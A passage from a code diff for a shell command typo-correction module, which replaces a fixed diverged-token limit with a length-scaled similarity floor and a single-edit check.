None, token, candidate_token).ratio() >= _TOKEN_CUTOFF
|
||||
or (token[:1] == candidate_token[:1]
|
||||
and typo.single_edit(token, candidate_token)))
|
||||
|
||||
|
||||
def _correct(script, segments, candidate):
|
||||
"""Returns the spliced correction when candidate passes every gate.
|
||||
|
||||
The gates: identical segment and per-segment token counts, at
|
||||
most `_MAX_DIVERGED` diverged tokens, every diverged pair
|
||||
similar enough (see `_similar`), and a candidate different from
|
||||
the script itself.
|
||||
The gates: identical segment and per-segment token counts, every
|
||||
diverged token pair similar enough (length-scaled floor, see
|
||||
`typo.floor_ok` — diverged tokens are gated per-token, not
|
||||
counted), and a candidate different from the script itself.
|
||||
"""
|
||||
if candidate == script:
|
||||
return None
|
||||
@@ -95,9 +79,7 @@ def _correct(script, segments, candidate):
|
||||
candidate_token = candidate_word[0]
|
||||
if token == candidate_token:
|
||||
continue
|
||||
if len(replacements) >= _MAX_DIVERGED:
|
||||
return None
|
||||
if not _similar(token, candidate_token):
|
||||
if not typo.floor_ok(token, candidate_token):
|
||||
return None
|
||||
replacements.append((start, end, candidate_token))
|
||||
if not replacements:
|
||||
|
||||
+23
-1
@@ -1,10 +1,32 @@
|
||||
"""Single-edit (Damerau distance 1) typo predicate.
|
||||
"""Single-edit (Damerau distance 1) typo predicate and
|
||||
length-scaled similarity floors.
|
||||
|
||||
`difflib.SequenceMatcher` rates adjacent transpositions (gti -> git)
|
||||
well below similarity cutoffs that accept substitutions, so gates
|
||||
that only use the ratio decline the most common keyboard slips.
|
||||
Callers accept `single_edit(a, b)` matches as an additional path.
|
||||
"""
|
||||
from difflib import SequenceMatcher
|
||||
|
||||
|
||||
def floor_ok(a, b):
|
||||
"""Returns True when `b` is a close-enough correction of `a`.
|
||||
|
||||
The required ratio rises with word length,
|
||||
`max(0.6, 1 - 3.0 / max(len(a), len(b), 3))` (the minimum of 3
|
||||
only guards the division for the shortest words): zsh's spdist
|
||||
admits len/4 + 1 errors and nushell's did_you_mean a third of
|
||||
the length, while a fixed cutoff over-admits long words and a
|
||||
bare single-edit cap under-admits them. Single edits always
|
||||
pass, and the first character must match so a correction stays
|
||||
a typo fix of the same word, not a jump to a different one.
|
||||
"""
|
||||
if a[:1] != b[:1]:
|
||||
return False
|
||||
if single_edit(a, b):
|
||||
return True
|
||||
floor = max(0.6, 1 - 3.0 / max(len(a), len(b), 3))
|
||||
return SequenceMatcher(None, a, b).ratio() >= floor
|
||||
|
||||
|
||||
def single_edit(a, b):
|
||||
|
||||
Reference in New Issue
Block a user